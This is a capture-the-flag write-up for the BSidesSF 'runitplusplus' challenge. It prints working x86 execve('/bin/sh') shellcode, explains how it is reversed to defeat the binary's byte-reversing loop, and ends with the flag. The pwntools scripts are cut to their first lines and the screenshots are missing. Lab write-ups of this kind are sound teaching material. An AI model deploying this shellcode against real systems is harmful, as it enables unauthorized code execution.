runitplusplus 52
Description:
This is the same as runit, except requires a bit of reversing! Grab the flag from /home/ctf/flag.txtLocation - runitplusplus-a36bf652.challenges.bsidessf.net:5353
runitplusplus
As the description says this is the same as the runit challenge but with a bit of reversing:
The shell code I used for this was \x31\xC0\x31\xD2\x31\xC0\x31\xD2\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80, if we use this website to check what this shellcode does:
Everything looks right we are clearing EAX and EDX in the beginning, we are pushing the bin/sh string into the stack and put its address ECX the EDX must be zero because it’s the envp argument and EAX is 0xb which is the execve system call number, so now we just need to reverse this shell code, we can use python to do that in my case I used [::-1] which reverses the string:
1 | from pwn import * |
So lets put a break point right on the address 0x8048680 which is right before the program does CALL EAX and do a step in and lets what what happened to the shell code after running that for loop:
So to circumvent this what I did is to repeat the first 4 bytes of my shell code which was the code for xor eax,eax and xor edx,edx:
So we need to add this to our original shell code and we get this \x31\xC0\x31\xD2\x31\xC0\x31\xD2\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80 which in assembly is:
So lets check how it looks in gdb with the breakpoint:
Now that everything is fine we are ready to run the script on the server:
1 | from pwn import * |
Now running it:
1 | $ python runitplusplus.py |
The flag was {ti_nar_uoy}FTC